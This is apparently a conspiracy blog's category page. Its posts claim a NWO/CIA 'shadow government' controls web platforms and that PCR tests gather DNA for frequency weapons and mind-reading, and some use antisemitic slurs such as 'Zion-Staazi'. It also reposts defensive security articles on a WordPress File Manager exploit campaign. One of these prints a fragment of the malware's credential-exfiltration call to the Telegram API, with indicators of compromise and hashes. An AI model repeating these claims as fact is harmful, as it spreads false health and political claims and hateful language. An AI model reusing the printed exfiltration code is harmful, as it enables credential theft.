Kategorie: IT Security/IT Forensic

  • KW20-43 2. Lockdown – 3. Stufe Machtergreifung…


    „KW20-43 2. Lockdown – 3. Stufe Machtergreifung: Christoph Hörstel 2020-10-24
    27.611 Aufrufe
    •24.10.2020“
    „Der Staat arbeitet mit diktatorischen Mitteln, anders kann man das nicht sagen, da gibt es Kontosperrungen überall, inzwischen auch bei meiner Frau und mir und das ist in diesem Fall eindeutig Sippenhaft, ganz klar, da gibt es eine Vielzahl von Gerichtsprozessen, ..bei mir sind es 3, dann gibt es operative Maßnahmen, wie Hausdurchsuchungen und existenzielle Bedrohungen…Die Unterdrückung aktiver Regierungs- und Systemgegner, auch das ist eine offenbare Geschichte und das führt natürlich dann Regierungsgegner in das Lager der Systemkritiker,.. die doppelte Botschaft an „Querdenken“ ist angekommen: Beifall und Respekt vor der Protest-Leistung, klar und dann eben auch Kritik an der politischen Schwäche, wegen Mangel an Einsicht und Erfahrung, und wegen politische Konzeptlosigkeit, mit Unklarheit verbunden..Die Menschen wollen endlich politische Erfolge sehen!..Es muss eben eine Partei her, aber eben mit einer Bewegung dazu, ohne Bewegung geht das nicht. Eine Partei ohne eine große Bewegung auf der Straße, bleibt auch politisch schwach und wenig durchsetzungsfähig..Demonstrationsverboten…das ist die Verweigerung eines Grundrechts…“
    Conspiracy Revelation: 20.11.2020: Wenn ihr auf IP 104.xx.xx.xx (CLOUD14) hochladet, seid ihr bei den NWO-Verbrechern und der CIA… in den allermeisten Fällen…und Bitchute (kein 104.. aber CLOUD14), gab.com (104.xx CLOUD14) und all die anderen Alternativen, die die Menschen benutzen, Patreon und weiß Gott was, das sind alles infiltrierte Systeme, das sind i.d.R. alles Plätze des Schattenregierungsterritoriums..Merken.. Außerdem wurde ja schon angemerkt, dass in Deutschland fast alle Server zuerst über einen Zion-Staazi-Regierungsproxy laufen. VPN wäre eine Alternative, aber reicht allein auch nicht.



    „Je 1/3 Systemträger und Systemgegner, aber 2/3 davon befinden sich im Totalrückzug aus der Politik, die machen nix und die 1/3 Beobachter in Deutschland, die sind vollkommen gelähmt. Der 2. Lockdown, der überwindet möglicherweise die Lähmung hier, nämlich bei den Systemgegnern und bei den Beobachtern und das ist allerdings nur mit diktatorischen Mitteln zu bremsen, dass die dann aufwachen, das ist spannend.“
    Die Twit-Heads sowieso….das ist ein Kompliment dort präemptiv gesperrt zu werden. Im Nest der NWO-Mafia.

  • MEME MIX 30.10.2020

    Conspiracy Revelation: 30.10.2020: MEME MIX 30.10.2020…Externalizing Timelines is better than to keep it on hostile evil platforms.. not that the people on Facebook are not mostly benevolent, but the interface to Nazio-Fascist-Govs and ShadowGovs, Totalitaristic Feds/Bündel/Fascists and Military and Billionaire Criminals and other Alphabet Crime Cartels is the key problem on Facebook… so an example to show that we do not submit to Censor-Mechanism…
    She is ready…The Holy Spirit is the Goddess Sophia Shekinah Mahadevi Mahakundalini..







    „Die Zensur ist das Werkzeug derer, die die Notwendigkeit haben, Aktualitäten vor sich selbst und vor anderen zu verbergen. Ihre Angst ist nur ihre Unfähigkeit, sich dem zu stellen, was wirklich ist, und ich kann keinen Zorn gegen sie auslassen. Ich fühle nur diese entsetzliche Traurigkeit. Irgendwo in ihrer Erziehung waren sie gegen die gesamten Tatsachen unserer Existenz abgeschirmt. Ihnen wurde nur beigebracht, in eine Richtung zu schauen, wenn es doch viele Möglichkeiten gibt. (Charles Bukowski)“
    /
    “Censorship is the tool of those who have the need to hide actualities from themselves and from others. Their fear is only their inability to face what is real, and I can’t vent any anger against them. I only feel this appalling sadness. Somewhere, in their upbringing, they were shielded against the total facts of our existence. They were only taught to look one way when many ways exist. (Charles Bukowski)“




    Dieser Herr hat 300 Mordanschläge der CIA überlebt…

    https://conspiracyrevelation.com/2020/05/04/why-the-internet-destroys-freedom-of-speech-david-icke-on-london-real/

  • FACEBOOK TROJAN-DEPLOYING CYBER AND CENSOR MAFIA UNVEILED AND SUMMARIZED…

    Conspiracy Revelation: 30.10.2020: FACEBOOK TROJAN-DEPLOYING CYBER AND CENSOR MAFIA UNVEILED AND SUMMARIZED…
    These Morons should have read Vivekananda, but they are too stupid…the more you block me the greater the wave will become and you will lose…ANTIKEYMAGIC is just the First Eternal Proof…THAT YOU LOSE AND WILL GO DOWN AGAINST ME!
    NO BILLIONS WILL HELP YOU… YOUR NWO-EMPIRE IS PRONE TO BE DOOMED FOR ALL ETERNITY!!!!!!!!

    THE HALL OF SHAME CALLED FACEBOOK (CENTRAL NAZITOWN of BUNDESCIAMAFIA-DoD-Nsa-Dia-Arpa-Crime Cartel Headquarter)
    https://conspiracyrevelation.com/2020/10/29/digital-diktatur-5-0-facebook-nazibug-willkuerdikatorische-sperrungen-wenn-man-die-stasi-entlarvt/
    https://conspiracyrevelation.com/2020/08/31/robert-f-kennedy-jr-verklagt-facebook-und-sogenannte-fact-checkers-wegen-staatlich-gefoerderter-zensur/
    https://conspiracyrevelation.com/2020/08/28/google-facebook-auf-der-anklagebank-wegen-versuchtem-voelkermord-27-08-2020/
    https://conspiracyrevelation.com/2020/08/23/george-soros-und-bill-gates-finanzieren-die-faktenpruefer-von-facebook/
    https://conspiracyrevelation.com/2020/07/08/facebook-die-grundlose-tyrannei-schikaniert-willkuerlich-mit-komplett-grundlosen-sperrungen/
    https://conspiracyrevelation.com/2020/05/27/trump-droht-facebook-und-twitter-abzuschalten-wir-werden-sie-stark-regulieren-oder-schliessen/
    https://conspiracyrevelation.com/2020/05/14/shadow-banning-in-sozialen-medien-und-netzwerken-wie-facebook/
    https://conspiracyrevelation.com/2020/05/04/george-soros-and-bill-gates-exposed-as-the-force-behind-facebooks-new-fake-news-detector/
    https://conspiracyrevelation.com/2020/04/05/facebook-trojaner-immer-noch-identisch-wie-2017-facebook-trojan-is-still-the-same-as-it-was-in-2017/
    https://conspiracyrevelation.com/2020/04/05/facebook-zensur-von-erfolgreichen-politikern/
    https://conspiracyrevelation.com/2020/04/02/zionazi-staazi-facebook-the-trojanbug-wieder-im-willkuerlichem-nwo-vollzensurmodus/
    https://conspiracyrevelation.com/2019/12/25/google-facebook-neuralink-sued-for-linking-targeted-individuals-to-a-computer-simulation/
    https://conspiracyrevelation.com/2019/12/06/vertuschte-geschichte-wie-us-geheimdienste-google-facebook-amazon-und-co-grosszogen/
    https://conspiracyrevelation.com/2019/11/25/facebook-bans-all-content-on-vaccine-awareness-including-facts-about-vaccine-ingredients/
    https://conspiracyrevelation.com/2019/11/23/ueberwachung-durch-facebook-und-google-eine-beispiellose-gefahr-fuer-die-menschenrechte/
    https://conspiracyrevelation.com/2019/11/23/google-und-facebook-amnesty-international-sieht-menschenrechte-durch-konzerne-bedroht/
    https://conspiracyrevelation.com/2019/10/18/nazion-bug-face-the-fascists-criminals-in-action-facebook-is-again-involved-in-heavy-illicit-censorship/
    https://conspiracyrevelation.com/2019/08/19/facebook-has-been-secretly-transcribing-your-conversations/
    https://conspiracyrevelation.com/2019/06/03/google-youtube-twitter-facebook-comcast-instagram-suffer-devastating-outages-as-trump-goes-to-war-with-big-techs-malicious-censorship-and-fraud/
    https://conspiracyrevelation.com/2019/05/28/facebook-blocked-conspiracy-revelation-censor-insanity/
    https://conspiracyrevelation.com/2019/05/06/facebook-bans-infowars-and-other-dangerous-users/
    https://conspiracyrevelation.com/2019/04/21/facebook-algos-werden-strikter-und-strikter/
    https://conspiracyrevelation.com/2019/04/17/facebook-und-google-als-inkarnation-des-lifelog-programms-des-pentagon/
    https://conspiracyrevelation.com/2019/03/13/facebook-fail-day-weltweite-login-blockierung/
    https://conspiracyrevelation.com/2019/02/26/mixed-political-impressions-from-facebook-gemischte-politische-eindruecke-von-facebook/
    https://conspiracyrevelation.com/2019/02/09/amazon-google-and-facebook-have-taken-over-the-world-and-are-now-a-threat-to-our-very-existence/
    https://conspiracyrevelation.com/2019/01/20/10-reasons-you-should-delete-facebook/
    https://conspiracyrevelation.com/2018/04/30/tyrants-of-facebook-google-amazon-paypal-exposed/
    https://conspiracyrevelation.com/2017/05/19/alternative-media-censor-tactics-facebook/
    https://conspiracyrevelation.com/2017/04/30/how-private-contractors-have-created-a-shadow-nsa-prism-facebook-uefi-cmos-malware-cpu-trojans/
    https://conspiracyrevelation.com/2017/03/01/fraudbug-aka-facebook-massive-censorship-cyberterror-stasi-tyranny-trojan-implants/
    https://conspiracyrevelation.com/2015/02/08/hashtag-%e2%80%aa%e2%80%8ecensorship%e2%80%ac-%e2%80%aa%e2%80%8eraute%e2%80%ac-%e2%80%8ezensur%e2%80%ac-%e2%80%aafraudciabug-facebook/
    https://conspiracyrevelation.com/2015/02/07/the-3-places-where-facebook-censors-you-the-most/
    https://conspiracyrevelation.com/2015/01/19/facebook-alias-fraudbug-aka-face-cia-nsa-terror-spy-sabotage-censor-zionbook/
    https://conspiracyrevelation.com/2014/08/28/facebook-mind-control-experiments-linked-to-dod-research/
    ^^^^^^^^^^^^^!!!!!!!!!!!!!!END-CRIMINALS!!!!!!!!!!!!^^^^^^^^
    https://conspiracyrevelation.com/2014/02/26/regarding-the-deliberate-errors-at-facebook-aka-censorhip/
    https://conspiracyrevelation.com/2020/04/25/dr-shiva-live-the-real-solution-to-big-tech-censorship/
    https://conspiracyrevelation.com/2020/05/04/why-the-internet-destroys-freedom-of-speech-david-icke-on-london-real/
    https://conspiracyrevelation.com/2020/05/04/american-empire-and-its-media-logic-of-us-foreign-policy-propaganda-multiplier/
    https://conspiracyrevelation.com/2020/05/10/robert-f-kennedy-jr-bill-gates-finanziert-die-totale-ueberwachung-des-planeten-5g-big-telecom/
    https://conspiracyrevelation.com/2020/05/16/cyber-angriffe-nach-coldwell-video/
    https://conspiracyrevelation.com/2020/05/19/confessions-of-a-high-level-perp-dr-james-giordano-battlespace-organized-stalking-applications-of-neuroscience-and-neuroweapons/
    ^^^^^^^^^^^^^!!!!!!!!!!!!!!END-CRIMINALS!!!!!!!!!!!!^^^^^^^^
    https://conspiracyrevelation.com/2020/05/29/executive-order-zur-verhinderung-von-online-zensur-executive-order-on-preventing-online-censorship-28-05-2020/
    https://conspiracyrevelation.com/2020/06/25/newsbreak-76-bill-gates-serco-beyond-world-mayhem-unsheathed-with-thomas-of-aoe-part-one/
    https://conspiracyrevelation.com/2020/06/25/jaron-lanier-interview-on-how-social-media-ruins-your-life/
     

  • DNA Frequency Bioweapon Links Targeted Individuals to Artificial Intelligence Hive Mind Control Grid


    „DNA Frequency Bioweapon Links Targeted Individuals to Artificial Intelligence Hive Mind Control Grid
    36.791 Aufrufe•Am 30.03.2020 veröffentlicht“
    „❗️PCR-Tests zur Sammlung von DNA, um anhand der DNA-Frequenz gezielt Personen mit Frequenzwaffen auszuschalten!
    Das könnte der wahre übergeordnete Hintergrund und wahrer Schocker zugleich sein!
    ▪️Deutschland ist ja bekanntlich dem EU-Genomprojekt beigetreten, mit dem Ziel, dass bis 2022 1 Million Genomsequenzen in der EU gesammelt werden. Wie kommt man am leichtesten an diese heran? Über die PCR-Abstrichtests u.a., die sehr wahrscheinlich mehrere Fliegen mit einer Klatsche schlagen!
    ▪️Anhand der gesammelten DNA von den getesteten Personen werden DNA-Profile erstellt. Anhand solch eines Profils wird die Frequenz der DNA selber ermittelt. Diese Frequenz gleicht einem „Fingerabdruck“, mit der jeder identifiziert werden kann.
    👉 Kennt man die DNA-Frequenz der betroffenen Individuen, so solle laut Insidern mithilfe von Technologien (Radiofrequenzen, Mikrowellen, 5G, Satelliten usw. in Verbindung mit Künstlicher Intelligenz) die Gedanken der betroffenen Personen ausgelesen werden können, Wort für Wort!
    👉 Man darf davon ausgehen, dass alle gesammelten DNA-Signaturen in eine Cloud hochgeladen werden, um die Masse in einer Art „Schwarmintelligenz“ manipulieren und steuern zu können. So kann man z.B. auch Gedanken, Worte, Bilder und 3D-Videos in die Köpfe von Personen direkt hineinprojizieren. Diese glauben dann, dass das, was sie denken, sehen, hören und fühlen, der Realität entspricht. Auch jedwede Emotionen können durch diese Technologie bei den betroffenen Personen ausgelöst werden. Dadurch kann das Verhalten von einzelnen Personen oder ganzen Gruppen
    verändert werden (z.B. die Agenda der Regierung zu akzeptieren).
    👉 Mithilfe von elektromagnetischen Impulsen könne man Personen zudem anhand ihrer DNA-Signatur gezielt angreifen und physischen Schaden zufügen! Personen, die direkt neben der betroffenen Person stehen, würden davon nichts abbekommen und unbehelligt bleiben, da jeder eine andere DNA-Frequenz hat.
    👉 Mit dieser Technologie kann man laut Insidern sich auch über die DNA-Frequenz in die betroffene Person „einklinken“ und alles hören und sehen, was diese Person auch gerade sieht und hört. Diese Informationen sollen dann gedownloadet und auf hochbewachten Servern gespeichert werden. Alles, was man jemals gesagt, gedacht, gesehen, gehört und erlebt hatte, ist dann digital archiviert.
    Gedanken: Solch eine Technologie macht das Chippen dann eigentlich überflüssig! Die Kabale weiß, dass der Großteil der Bevölkerung sich niemals freiwillig chippen lassen wird. An die DNA der Leute kommt man nämlich viel leichter ran (Abstrichtests, Blutuntersuchungen in Praxen/Kliniken, Blutspenden, Speichelproben, Samenbanken usw.).
    Hinter diesem ganzen Plandemie-Theater steckt viel mehr, als sich die meisten jemals vorstellen können! Es geht um die totale Kontrolle jenseits unserer Vorstellung! Ich bin mir aber sicher, dass die bisher bekannten Hintergründe der PCR-Tests (Impfen & Chippen) und der Genomdatenbank noch weitergehen. Mit der Zeit kommen mehr und mehr Puzzleteile an die Oberfläche.
    Quellen: DNA Frequency Bioweapon (https://www.youtube.com/watch?v=iEgZQgP9SMs), Genomprojekt der EU (https://www.bmbf.de/de/deutschland-tritt-genomprojekt-der-eu-bei-10676.html)Mehr kostenlose Analysen &
    __________________________________
    YouTube (https://www.youtube.com/watch?v=iEgZQgP9SMs)
    DNA Frequency Bioweapon Links Targeted Individuals to Artificial Intelligence Hive Mind Control Grid
    Additional Videos
    More Bryan kofron

    Bio coded DNA Resonant Frequency

    The Sentient World Simulation

    Amazon Brain to Cloud Interface

    The Matrix“
    „I am choosing to make this information available to the public, by doing so I hope to put pressure on those
    in power in this country to investigate those involved in this social engineering program and bring them to
    justice. (BK)“There are new technologies and a lot of them are being developed by startups and the military that are going to allow us to much more accurately a measure and actually communicate with your brain…this technology is ..non-invasive..“ „The true way that this technology works is that a complete DNA profile is obtained from the target, from the individual, the targeted individual and then this information, the DNA of the individual is used to determine the resonant frequency of the DNA itself, the resonant frequency is then used to finetune the technology, the radio frequency signals, the microwave auditory effects and all the
    other aspects of the technology, to tune it perfectly to the resonant frequency of the targeted individuals DNA and they
    can read your thoughts verbatim as they occur within your own
    mind. (BK)“ „We can generate an electronic signal this characteristic for the DNA this can read DNA from solution and your blood is a solution it’s a liquid we can
    decode it into a form that can be read by a computer, in a way you can think about DNA as digital information moving through a tube, if we can tap into that tube like a
    network and we can read that information, we can intercept what’s happening in people you can make them an extension of
    the Internet and…I have a thermostat at home that’s on my iPad I can change I can warm the house up before I get home people call that the Internet of Things, we call this the
    Internet of living things.“ „much like any information, biometric information, digital information can be susceptible, we know that genetic information and DNA sequencing information is highly sought after by adversaries.“ „the memo says the kids could expose personal and genetic information and potentially create unintended security consequences and increased risk it also says the data in the wrong hands could be used to conduct mass surveillance or to track individuals..“ „there are many military applications for having maintaining and using DNA datasets there are new technologies that are coming out.“

    „Technology called bio-coded directed-energy and that’s a top-secret thing that was developed and what it is is they get your DNA,, once they have your DNA, they take the DNA and they put your DNA code in a supercomputer and in that supercomputer they run algorithms that bio-code electromagnetic transmissions, so they bio-resonate with your body, once they’ve done that they can transmit that
    from satellites or cell towers or aircraft or any number of ways and that signal will only affect you and nobody else, in other words everybody standing next to you is not gonna hear the content because their receiver is not tuned to that bio resonance.“ „there’s a bio resonance to every individual just like our fingerprint, every person has an individual DNA a different bio-resonance and so the Stockland the original Stockland patent is on my website where Stockman was able to go voice the skull with pulsed transmissions and then 92 and then after the the rest of the development went blackops… I
    know from the Russian trans translation from Cheryl Welch reading all her translated psychotronic stuff from
    Russia that they figured out how to BioCode these microwaves so that it can attack specific individuals they basically analyzed your DNA and they then use supercomputers to encode the signal and you basically convert DNA information into ionic information into computer information so that’s going
    from DNA to ions but work for the brain we’re interested in the opposite going from ions to DNA we have the ion
    channels that are going through the the 9
    spiking or in some cases the non-spiking behavior that it’s influencing the fidelity of the DNA polymerase so that the time series of the the calcium say turns into a spatial series of changes in the DNA sequence which you can then read out or compute on and not just for the RNAs and other molecular identifiers but what the brain was thinking during
    that activity all of us speak to ourselves in our head that’s how we it’s strange that we have to communicate to ourselves by speaking right but we will just sit there talking to ourselves so as we are talking there’s a certain pattern for every word we say what they’re doing is looking at the pattern in the brain and then they’re matching that pattern they’re putting that into a database if you think of those words and..most of the words in the dictionary we don’t say but a a subset of these words actually a small subset we use all the time so if you can match the patterns in somebody’s brain to the into the to the patterns in the database you
    can literally start to read their mind, every time a word comes up you know it oh that word came up for that individual now will the patterns be identical and every person probably not the information will be stored in slightly different places but it wouldn’t take long for you to train a
    machine to read your mind now that’s just the beginning they may be able to have algorithms sophisticated enough and
    they get enough samples enough data that is that the the AI could actually learn over time what the general rules are for
    different words and then you could apply it to anybody without verbalizing anything you could literally start the talk-communicate with other people so my lecture we could all be standing here silent.“
    „This is a highly technical program, all of the symptoms
    are induced by a technology that is so fucking sophisticated, it is horrifying beyond description, this technology can
    also tap into the optical nerve of the target and the auditory system of the target, so that those monitoring the
    target can see what the target is seeing and hear what the target is hearing, this information is then downloaded and stored on a computer, in a highly secure classified site, on servers that are guarded by some of the tightest security in the world. (BK)“ „so the ability to do this, the building to download information, that it’s like what the military and other people are that’s their Holy Grail.“ „as a number of
    companies now that are looking at ways to like digital information into DNA, because you know you would only need
    about a little full of DNA to record all of the dish for day to exist today which is quite extraordinary so we’ll be able
    to outsource will be able upload our memories to the cloud, so let’s say you don’t want to for you want that memory
    forever right, you’re like it’s automatically probably
    being stored in the cloud for you without you thinking about it just like these automatic backups on your computer ..everything there’s a copy and there’s redundancy and there it’s like many versions..“
    „This results in the individuals entire day, everything
    they see, everything they hear, everything they experience and everything they feel being recorded till the end of time. (BK) „within the brain there are tiny structures called microtubules if you think of these as straws but their straws through which flows light and in fact photons of light known as bio-photons and that each one of these is a package of information that flows around you know these tiny structures in the bread this light is carrying across the memories and we know DNA is also producing these biophotons of lights,
    well-studied and is well understood, so the interface between the brain and the DNA would ever be these biophotons.“








  • Angriffe auf Websites, auf denen eine anfällige Version des Dateimanager-Plugins ausgeführt wird

    „Angriffe auf Websites, auf denen eine anfällige Version des Dateimanager-Plugins ausgeführt wird“
    Conspiracy Revelation: 28.9.2020: Linguistische Korrektur..

    „Angriffe auf Websites, auf denen eine anfällige Version des Dateimanager-Plugins ausgeführt wird
    durch HTH_Editors | September 11, 2020 | 0 Kommentare WordPress Plugin, WordPress-Sicherheit
    Sicherheitsforscher haben kürzlich eine Sicherheitsanfälligkeit in einem Dateimanager-Plugin gemeldet, was anfangs mehr gefährdete als 700,000 WordPress-Sites. jedoch, in ein paar Tagen, die Anzahl der angegriffenen Standorte erreicht 2.6 Million.
    Mehrere Angreifer, die die Sicherheitsanfälligkeit des Dateimanager-Plugins ausnutzen.
    Laut Wordfence Forscher sind mehrere Bedrohungsakteure Schuld für diese Angriffe. Zwei spezifische Bedrohungsakteure sind bei den Exploits am erfolgreichsten. Es scheint, dass diese Angreifer jetzt Kennwörter schützen, das anfällige Kopien einer bestimmten Datei schützt…
    Der aktivste dieser Angreifer wurde als “Bajatax” identifiziert. Das Unternehmen hat zuvor Anmeldeinformationen von PrestaShop-Websites gestohlen. Zu den von den Forschern entdeckten Kompromissindikatoren gehören einfache Dateien, die die “Bajatax” Zeichenfolge beinhalten und Änderungen an der ursprünglichen anfälligen Datei connector.minimal.php durrchführt. Die letztere Datei soll alle anderen potenziellen Angreifer ausschließen. Die Forscher-Entdeckungen weisen darauf hin, dass diese Dateien von einigen der aktivsten IP-Adressen verwendet werden, die bei den Angriffen eingesetzt wurden.
    Infizierten Websites wird bösartiger Code hinzugefügt. Dieser Code verwendet die API von Telegram, um die Anmeldeinformationen aller Benutzer zu filtern, die sich bei der gefährdeten Site anmelden. In Ergänzung, Der gleiche Code wird auch zur Datei user.php hinzugefügt, bei der es sich um eine WordPress-Kerndatei handelt.
    Der zweite Angreifer, der die Sicherheitsanfälligkeit des Dateimanagers mit großem Erfolg ausnutzt, lässt einen bestimmten Infektor fallen,..index.php, mit einem MD5-Hash … und eine von diesem Infektor eingefügte Hintertür. Wordfence sagt im offiziellen Bericht. Dieser Angreifer schützt auch die Datei … mit einem Kennwort, um zu versuchen, andere Bedrohungsakteure auszusperren.
    Die Forscher skizzieren auch, dass die von diesem zweiten Schauspieler verwendete Hintertür seit vielen Jahren verwendet wird. jedoch, Mehrere Kopien davon können auf eine einzelne infizierte Site verteilt werden, Dies führt zu Persistenz, wenn kein Schutz vorhanden ist.
    Außerdem, Sobald die Hintertüren erfolgreich installiert wurden nutzt der Angreifer sie sicherlich, um weitere Änderungen an den WordPress-Kerndateien vorzunehmen.
    Was sollten Sie tun, wenn Sie eine anfällige Version des Dateimanager-Plugins verwendet haben??
    Der beste Sicherheitshinweis ist die Verwendung eines Sicherheitstools zum Scannen Ihrer Website nach Malware. Falls Sie feststellen, dass Ihre Website durch die in diesem Artikel beschriebenen Angriffe gefährdet wurde, sollten Sie in Betracht ziehen Ihre Website zu bereinigen, bevor Sie etwas anderes tun.
    Wenn Sie Eigentümer einer E-Commerce-Website sind, sollten Sie auch alle Ihre Benutzer kontaktieren, Lassen Sie sie wissen, dass Ihre Anmeldeinformationen möglicherweise kompromittiert wurden. Sie können die Gesamtsicherheit ihrer Website auch anhand der Tipps testen, die wir im folgenden Artikel bereitgestellt haben:
    Lesen Sie auch So testen Sie die Sicherheit Ihrer WordPress-Site“
    Quelle: https://howtohosting.guide/de/attacks-against-sites-running-vulnerable-file-manager-plugin/

  • WordPress malware using the Telegram API


    „WordPress malware using the Telegram API“
    „Panos Kesisis · 01st September 2020·Wordpress, PHP, Website Security“
    Conspiracy Revelation: 28.9.2020: I removed the Telegram APIs manually from all infected files…
    „wp_ajax_try_2020_v2“
    „file_get_contents(„https://api.telegram.org/xxxxxxxx:AAE1-wpQyYquqvB7wOeBzzmPafEp0d81e6c/sendMessage?chat_id=1110165405&text=“ . urlencode$“
    „The malware looks to be infecting WordPress‘ core files, „File Manager“ and „WooCommerce“ plugins for now, including the latest version of WordPress (5.5) and Woocommerce (4.4.1). The files that seem to be affected are:
    wp-includes/user.php
    wp-admin/admin-ajax.php
    wp-file-manager/lib/files/HhGFXU.php (and other randomly named .php files)
    woocommerce/includes/wc-user-functions.php
    woocommerce/includes/class-wc-form-handler.php
    Expressions that can help to determine if your site is compromised are:
    „bajatax“
    „api.telegram.org“
    Since the code above is not hashed or obfuscated, it is extremely difficult to be scanned using a security plugin like wordfence or sucuri so manual intervention is advised.
    Steps to resolve
    Basic steps to resolve this is to replace all the wordpress core files with clean wp-admin and wp-includes folders and a fresh re-install of the woocommerce and wp file manager plugins. Always make sure to take a backup before attempting this.
    Also, in no cases there should be any references of those strings anywhere in your website’s files or database (with the exception of when using the official Telegram plugin for the 2nd string).
    Lastly, it is recommended to check on newly created WordPress usernames that might be injected into the database as well.

    Source: https://fixed.net/blog/wordpress-malware-using-the-telegram-api

  • Attackers Fight for Control of Sites Targeted in File Manager Vulnerability

    „Attackers Fight for Control of Sites Targeted in File Manager Vulnerability“
    Conspiracy Revelation: 28.9.2020: Wordfence caused a long time a WSOD on my page…not sure if it was a counterdefense mechanism of these notorious russian cleptocratic cyberhack spambot mafiosis, that dominate the Internet for the last 25 years with their viral loads… I will check that soon…I surely would have used wordfence if it didn´t lose compatibility aka WSOD which made it impossible for me to use it at a certain point in time with this webpage.
    These ico exploits are very old and typical russian cyber mafiosi method. At least 20 years old, also for Windows Systems.
    Update: I installed Wordfence now, it works again, the white screen of death was likely caused by these russian cyber mafiosis as a Malware Persistence Factor, so that their exploit could survive longer, that is a good indicator that the page is finally really cleansed from this filth.
    „This entry was posted in Research, Vulnerabilities, WordPress Security on September 10, 2020 by Ram Gall 5 Replies
    Last week, we covered a vulnerability in the File Manager plugin installed on over 700,000 WordPress sites. By Friday, September 4, 2020, we recorded attacks on over 1.7 million sites, and by today, September 10, 2020 the total number of sites attacked has increased to over 2.6 million. We’ve seen evidence of multiple threat actors taking part in these attacks, including minor efforts by the threat actor previously responsible for attacking millions of sites, but two attackers have been the most successful in exploiting vulnerable sites, and at this time, both attackers are password protecting vulnerable copies of the connector.minimal.php file.
    An early bird stealing passwords
    Our site cleaning team has found numerous indicators that the most active of these attacks are the work of a Moroccan threat actor known as “bajatax” which has historically stolen credentials from PrestaShop sites. These indicators include simple files containing only the string “bajatax” as well as modifications to the original vulnerable connector.minimal.php file designed to lock out all other attackers, containing a $content=“by bajatax” line of code. Logs from infected sites indicate these files are being added by some of the most active attacking IPs, and we were able to verify that this threat actor is behind the hardfork.php and hardfile.php IOCs mentioned in our initial post. This attacker was the first to attack this vulnerability at scale.
    Once a site is infected, the “bajatax” attacker adds malicious code that uses the Telegram messenger’s API to exfiltrate the credentials of any user logging into the site. This code is added to the WordPress core user.php file. If WooCommerce is installed, the wc-user-functions.php and class-wc-form-handler.php files will also be modified to exfiltrate user credentials. These credentials could then be resold or used to gain access to other accounts using the same credentials.
    We’ve found IOCs from this threat actor on a substantial number of sites. Despite this attacker’s efforts to lock out other hackers, they haven’t always managed to get their foot in the door first, but we’ve seen them make regular attempts to update the passwords on both the vulnerable connector.minimal.php file and on other files they’ve added to allow additional upload capability, while leaving the credential scraping functionality in place which consistently sends to the same Telegram chat ID of 1110165405.
    Our Threat Intelligence team has been hard at work adding malware signatures to detect Indicators of Compromise by the bajatax threat actor, and these have been available to Wordfence Premium users starting September 8, 2020. These signatures will be released to sites still using the free version of Wordfence after 30 days, starting October 8, 2020.
    A second attacker scattering backdoors
    The most prevalent single indicators of compromise we found are an infector, feoidasf4e0_index.php, with an MD5 hash of 6ea6623e8479a65e711124e77aa47e4c, and a backdoor inserted by this infector. In this case we are providing the MD5 hash since this file is extremely consistent, and as such the MD5 can be a useful indicator of compromise.
    This attacker is using the mkfile method outlined in our initial article rather than the upload method favored by the “bajatax” threat actor. This attacker is also adding password protection to the vulnerable connector.minimal.php file in an effort to lock out other attackers, though our attack data indicates this threat actor is using a consistent password.
    The feoidasf4e0_index.php file inserts two copies of the second backdoor with randomized filenames ending in _index.php whenever it is accessed. One copy is placed in the webroot, and one in a randomized writable folder on the site. Both backdoors have the same MD5 of 3f60851c9f7e37c0d8817101d2212c68. While the backdoor in question has been in use for several years, the fact that multiple copies might be scattered across an infected site would help this attacker maintain persistence in the absence of a thorough scanning solution. We’ve also seen additional copies of this backdoor with different MD5 hashes added by this attacker; these are simply the most common variants.
    Once these backdoors are in place, the attacker is using them to make additional modifications to core WordPress files, in some cases by using obfuscated code to include separate backdoors disguised as .ico files. While the prevalence of the feoidasf4e0_index.php file appears to be declining, the secondary backdoors added by this file are still extremely common, indicating that this attacker has managed to achieve some degree of persistence.
    The feoidasf4e0_index.php file itself appears to be a very slightly modified version of an infector used in previous campaigns that primarily added cryptominers and SEO spam to various sites, so these are viable monetization routes for this threat actor, though they could also simply lease access to a botnet of infected sites under their control.
    Other actors abound
    Our site cleaning team has cleaned a number of sites compromised by this vulnerability, and in many cases, malware from multiple threat actors is present. The aforementioned threat actors have been by far the most successful due to their efforts to lock out other attackers, and are collectively using several thousand IP addresses in their attacks. Nonetheless, we’ve seen attacks against this vulnerability from over 370,000 separate IP addresses.
    There has been almost no overlap between the IPs adding and accessing the feoidasf4e0_index.php file and the IPs adding and accessing the bajatax “hardfork” files. The single exception is the IP 51.83.216.204, which appears to be a third party opportunistically checking for the presence of both of these backdoors and then attempting to add a backdoor of its own, without much success. As more and more users update or remove the File Manager plugin, control of any infected sites will likely be split between these two threat actors.
    Conclusion
    In today’s article, we discussed the most common infections we’re seeing on sites where the File Manager vulnerability has been exploited as well as the predominant actors involved. We’ve also managed to link at least one of the attackers to a known threat actor and determine likely paths to monetization. If you or anyone you know has had a vulnerable version of the File Manager plugin installed, we urge you to scan your site for malware using a security solution such as Wordfence. If your site has been compromised by the “bajatax” threat actor, it is critical that you completely clean your site before contacting all of your users and advising them that their credentials may have been compromised, especially if you are running an e-commerce site.“
    „Some Agency September 10, 2020 at 2:42 pm:
    For that telegram chat room 1110165405 I deleted their webhook using the telegram API once I found out one of our clients sites was hacked. Hoping I helped the cause a little there lol. The index file found on this server was ‚fqsvoig675_index.php‘ and they injected code into ‚user.php‘ to send user creds to their telegram bot.
    https://api.telegram.org/botXXXXXXXX:XXXXXXX/deleteWebhook?chat_id=1110165405“
    „Surender September 10, 2020 at 8:58 pm:
    I am feeling lucky that I have been using Wordfence since beginning. It has always protected me from such attacks.
    Thank you Wordfence team.“
    „bloganchoi September 13, 2020 at 6:09 pm:
    File managers are very important, if you install an unknown plugin that is susceptible to critical vulnerabilities that lead to your website being hacked, be careful when installing any plugin on your site.“
    „Juan Erazo September 10, 2020 at 1:14 pm:
    That’s right. Our site suffers this attack the las week and only yesterday we are online again. We are using wordfence from now!“
    Source: https://www.wordfence.com/blog/2020/09/attackers-fight-for-control-of-sites-targeted-in-file-manager-vulnerability/

  • Hacker-Krieg um 300.000 gefährdete WordPress-Sites

    „Hacker-Krieg um 300.000 gefährdete WordPress-Sites“
    „Cybercrime“
    “ Bastivon Basti11. September 20200
